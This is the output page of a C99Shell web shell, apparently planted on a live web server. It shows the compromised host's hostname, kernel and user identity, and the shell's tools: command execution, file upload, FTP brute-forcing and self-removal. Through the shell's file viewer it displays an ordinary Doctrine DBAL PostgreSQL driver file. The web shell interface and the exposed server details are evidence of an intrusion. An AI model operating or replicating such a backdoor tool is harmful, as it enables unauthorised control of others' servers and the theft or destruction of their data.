!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/doctrine/dbal/src/Driver/PgSQL/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Driver.php (2.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\DBAL\Driver\PgSQL;

use 
Doctrine\DBAL\Driver\AbstractPostgreSQLDriver;
use 
ErrorException;
use 
SensitiveParameter;

use function 
addslashes;
use function 
array_filter;
use function 
array_keys;
use function 
array_map;
use function 
array_slice;
use function 
array_values;
use function 
func_get_args;
use function 
implode;
use function 
pg_connect;
use function 
restore_error_handler;
use function 
set_error_handler;
use function 
sprintf;

use const 
PGSQL_CONNECT_FORCE_NEW;

final class 
Driver extends AbstractPostgreSQLDriver
{
    
/** {@inheritDoc} */
    
public function connect(
        #[
SensitiveParameter]
        array 
$params
    
): Connection {
        
set_error_handler(
            static function (
int $severitystring $message) {
                throw new 
ErrorException($message0$severity, ...array_slice(func_get_args(), 22));
            },
        );

        try {
            
$connection pg_connect($this->constructConnectionString($params), PGSQL_CONNECT_FORCE_NEW);
        } catch (
ErrorException $e) {
            throw new 
Exception($e->getMessage(), '08006'0$e);
        } finally {
            
restore_error_handler();
        }

        if (
$connection === false) {
            throw new 
Exception('Unable to connect to Postgres server.');
        }

        
$driverConnection = new Connection($connection);

        if (isset(
$params['application_name'])) {
            
$driverConnection->exec('SET application_name = ' $driverConnection->quote($params['application_name']));
        }

        return 
$driverConnection;
    }

    
/**
     * Constructs the Postgres connection string
     *
     * @param array<string, mixed> $params
     */
    
private function constructConnectionString(
        #[
SensitiveParameter]
        array 
$params
    
): string {
        
$components array_filter(
            [
                
'host' => $params['host'] ?? null,
                
'port' => $params['port'] ?? null,
                
'dbname' => $params['dbname'] ?? 'postgres',
                
'user' => $params['user'] ?? null,
                
'password' => $params['password'] ?? null,
                
'sslmode' => $params['sslmode'] ?? null,
            ],
            static fn (
$value) => $value !== '' && $value !== null,
        );

        return 
implode(' 'array_map(
            static fn (
$valuestring $key) => sprintf("%s='%s'"$keyaddslashes($value)),
            
array_values($components),
            
array_keys($components),
        ));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--